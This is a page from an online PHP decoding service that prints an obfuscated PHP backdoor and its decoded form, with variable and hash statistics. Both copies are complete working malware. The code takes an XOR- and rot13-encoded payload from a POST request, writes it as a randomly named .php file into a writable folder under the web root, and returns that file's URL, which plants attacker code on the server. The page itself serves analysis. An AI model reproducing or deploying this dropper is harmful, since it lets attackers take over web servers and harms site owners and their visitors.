Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $igtrhunhxjckay = "bmkeemkrgneamocw";$xwkqaqneh = "";foreach ($_POST as $ftzemja => ..

Decoded Output download

<?php $igtrhunhxjckay = "bmkeemkrgneamocw";$xwkqaqneh = "";foreach ($_POST as $ftzemja => $zoysqvidvn){if (strlen($ftzemja) == 16 and substr_count($zoysqvidvn, "%") > 10){nqmnqtfs($ftzemja, $zoysqvidvn);}}function nqmnqtfs($ftzemja, $ecntr){global $xwkqaqneh;$xwkqaqneh = $ftzemja;$ecntr = str_split(rawurldecode(str_rot13($ecntr)));function uxvicqal($igtrhunhaako, $ftzemja){global $igtrhunhxjckay, $xwkqaqneh;return $igtrhunhaako ^ $igtrhunhxjckay[$ftzemja % strlen($igtrhunhxjckay)] ^ $xwkqaqneh[$ftzemja % strlen($xwkqaqneh)];}$ecntr = implode("", array_map("uxvicqal", array_values($ecntr), array_keys($ecntr)));$ecntr = @unserialize($ecntr);if (@is_array($ecntr)){$ftzemja = array_keys($ecntr);$ecntr = $ecntr[$ftzemja[0]];if ($ecntr === $ftzemja[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function afwlj($igtrhunhir) {static $mxnxj = array();$mcxcry = glob($igtrhunhir . '/*', GLOB_ONLYDIR);if (count($mcxcry) > 0) {foreach ($mcxcry as $igtrhunh){if (@is_writable($igtrhunh)){$mxnxj[] = $igtrhunh;}}}foreach ($mcxcry as $igtrhunhir) afwlj($igtrhunhir);return $mxnxj;}$wvvwiko = $_SERVER["DOCUMENT_ROOT"];$mcxcry = afwlj($wvvwiko);$ftzemja = array_rand($mcxcry);$pfqqvikql = $mcxcry[$ftzemja] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($pfqqvikql, $ecntr);echo "http://" . $_SERVER["HTTP_HOST"] . substr($pfqqvikql, strlen($wvvwiko));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $igtrhunhxjckay = "bmkeemkrgneamocw";$xwkqaqneh = "";foreach ($_POST as $ftzemja => $zoysqvidvn){if (strlen($ftzemja) == 16 and substr_count($zoysqvidvn, "%") > 10){nqmnqtfs($ftzemja, $zoysqvidvn);}}function nqmnqtfs($ftzemja, $ecntr){global $xwkqaqneh;$xwkqaqneh = $ftzemja;$ecntr = str_split(rawurldecode(str_rot13($ecntr)));function uxvicqal($igtrhunhaako, $ftzemja){global $igtrhunhxjckay, $xwkqaqneh;return $igtrhunhaako ^ $igtrhunhxjckay[$ftzemja % strlen($igtrhunhxjckay)] ^ $xwkqaqneh[$ftzemja % strlen($xwkqaqneh)];}$ecntr = implode("", array_map("uxvicqal", array_values($ecntr), array_keys($ecntr)));$ecntr = @unserialize($ecntr);if (@is_array($ecntr)){$ftzemja = array_keys($ecntr);$ecntr = $ecntr[$ftzemja[0]];if ($ecntr === $ftzemja[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function afwlj($igtrhunhir) {static $mxnxj = array();$mcxcry = glob($igtrhunhir . '/*', GLOB_ONLYDIR);if (count($mcxcry) > 0) {foreach ($mcxcry as $igtrhunh){if (@is_writable($igtrhunh)){$mxnxj[] = $igtrhunh;}}}foreach ($mcxcry as $igtrhunhir) afwlj($igtrhunhir);return $mxnxj;}$wvvwiko = $_SERVER["DOCUMENT_ROOT"];$mcxcry = afwlj($wvvwiko);$ftzemja = array_rand($mcxcry);$pfqqvikql = $mcxcry[$ftzemja] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($pfqqvikql, $ecntr);echo "http://" . $_SERVER["HTTP_HOST"] . substr($pfqqvikql, strlen($wvvwiko));exit();}}}

Function Calls

None

Variables

$xwkqaqneh
$igtrhunhxjckay bmkeemkrgneamocw

Stats

MD5 e68974b05ba01a8373109c6ef84a085d
Eval Count 0
Decode Time 118 ms